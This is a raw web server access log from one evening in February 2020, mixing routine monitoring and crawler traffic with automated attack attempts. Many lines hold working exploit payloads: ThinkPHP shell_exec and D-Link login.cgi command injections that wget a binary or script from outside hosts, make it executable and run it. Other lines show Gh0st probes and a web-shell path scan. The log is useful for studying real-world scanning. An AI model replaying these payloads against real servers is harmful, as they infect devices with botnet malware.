73.5.248.107 - - [08/Feb/2020:20:11:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.5.248.107 - - [08/Feb/2020:20:11:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.233.249.188 - - [08/Feb/2020:20:11:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:20:11:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:12:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.135.171 - - [08/Feb/2020:20:12:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:20:13:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:14:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:15:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:16:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.166.50.112 - - [08/Feb/2020:20:16:59 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
172.105.76.241 - - [08/Feb/2020:20:17:15 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
172.105.76.241 - - [08/Feb/2020:20:17:15 +0100] "Gh0st\xad" 501 321 "-" "-"
172.105.76.241 - - [08/Feb/2020:20:17:18 +0100] "HELP" 501 319 "-" "-"
172.105.76.241 - - [08/Feb/2020:20:17:18 +0100] "\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc" 501 350 "-" "-"
172.105.76.241 - - [08/Feb/2020:20:17:20 +0100] "\x16\x03\x01" 501 318 "-" "-"
91.149.160.10 - - [08/Feb/2020:20:17:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
172.105.76.241 - - [08/Feb/2020:20:17:21 +0100] "\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:20:17:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.23.72.9 - - [08/Feb/2020:20:18:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:20:18:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.169.175.248 - - [08/Feb/2020:20:18:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:20:19:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [08/Feb/2020:20:19:58 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [08/Feb/2020:20:20:11 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:20:20:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
101.226.179.227 - - [08/Feb/2020:20:21:22 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
101.226.179.227 - - [08/Feb/2020:20:21:24 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
101.226.179.227 - - [08/Feb/2020:20:21:25 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [08/Feb/2020:20:21:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.3.163.166 - - [08/Feb/2020:20:22:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:20:22:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:23:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.122.224.20 - - [08/Feb/2020:20:23:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:20:24:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:25:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:26:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:27:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.80.47 - - [08/Feb/2020:20:28:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:20:28:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:29:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:30:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.56.151.4 - - [08/Feb/2020:20:31:29 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.4 - - [08/Feb/2020:20:31:32 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.4 - - [08/Feb/2020:20:31:35 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.4 - - [08/Feb/2020:20:31:35 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.4 - - [08/Feb/2020:20:31:36 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.4 - - [08/Feb/2020:20:31:37 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
193.56.151.4 - - [08/Feb/2020:20:31:38 +0100] "GET http://ip-api.com/json/?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,query HTTP/1.1" 404 307 "-" "Mozilla/5.0"
212.91.246.72 - - [08/Feb/2020:20:31:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.65.230 - - [08/Feb/2020:20:32:00 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.230 - - [08/Feb/2020:20:32:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [08/Feb/2020:20:32:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:33:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.148.249.77 - - [08/Feb/2020:20:34:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
70.95.63.117 - - [08/Feb/2020:20:34:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:20:34:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.163.131.89 - - [08/Feb/2020:20:35:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:20:35:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.170.10 - - [08/Feb/2020:20:36:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:20:36:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.234.16.190 - - [08/Feb/2020:20:36:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
180.175.1.246 - - [08/Feb/2020:20:37:09 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.175.1.246 - - [08/Feb/2020:20:37:11 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.175.1.246 - - [08/Feb/2020:20:37:12 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.175.1.246 - - [08/Feb/2020:20:37:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [08/Feb/2020:20:37:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [08/Feb/2020:20:38:28 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
42.115.147.196 - - [08/Feb/2020:20:38:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.230 - - [08/Feb/2020:20:38:44 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:20:38:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [08/Feb/2020:20:38:59 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [08/Feb/2020:20:39:24 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [08/Feb/2020:20:39:36 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [08/Feb/2020:20:39:42 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:20:39:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [08/Feb/2020:20:39:48 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:20:40:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [08/Feb/2020:20:41:04 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:20:41:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.211.10.10 - - [08/Feb/2020:20:41:55 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:20:42:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.17.85 - - [08/Feb/2020:20:43:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:20:43:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [08/Feb/2020:20:44:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [08/Feb/2020:20:44:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:45:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:46:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.90.215 - - [08/Feb/2020:20:46:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:20:47:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.49.116.218 - - [08/Feb/2020:20:48:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:20:48:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:20:49:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.141.39.193 - - [08/Feb/2020:20:49:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:20:50:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.100.142.50 - - [08/Feb/2020:20:51:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [08/Feb/2020:20:51:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.100.142.50 - - [08/Feb/2020:20:51:51 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
67.100.142.50 - - [08/Feb/2020:20:51:52 +0100] "POST /Admin59f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
59.191.145.11 - - [08/Feb/2020:20:52:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
67.100.142.50 - - [08/Feb/2020:20:52:19 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
78.186.137.112 - - [08/Feb/2020:20:52:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
67.100.142.50 - - [08/Feb/2020:20:52:30 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
67.100.142.50 - - [08/Feb/2020:20:52:31 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
67.100.142.50 - - [08/Feb/2020:20:52:32 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:20:52:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.161.26.180 - - [08/Feb/2020:20:52:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
67.100.142.50 - - [08/Feb/2020:20:52:55 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
67.100.142.50 - - [08/Feb/2020:20:53:18 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
67.100.142.50 - - [08/Feb/2020:20:53:41 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:20:53:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.100.142.50 - - [08/Feb/2020:20:54:08 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
118.68.65.76 - - [08/Feb/2020:20:54:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
67.100.142.50 - - [08/Feb/2020:20:54:31 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:20:54:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.100.142.50 - - [08/Feb/2020:20:54:54 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
67.100.142.50 - - [08/Feb/2020:20:55:00 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:55:14 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:55:38 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [08/Feb/2020:20:55:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.143.85.41 - - [08/Feb/2020:20:55:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
67.100.142.50 - - [08/Feb/2020:20:55:51 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:55:52 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:55:53 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:55:55 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:55:56 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
41.143.85.41 - - [08/Feb/2020:20:55:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
67.100.142.50 - - [08/Feb/2020:20:56:04 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:56:06 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:56:13 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:56:34 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:56:35 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:56:37 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:56:38 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
67.100.142.50 - - [08/Feb/2020:20:56:39 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
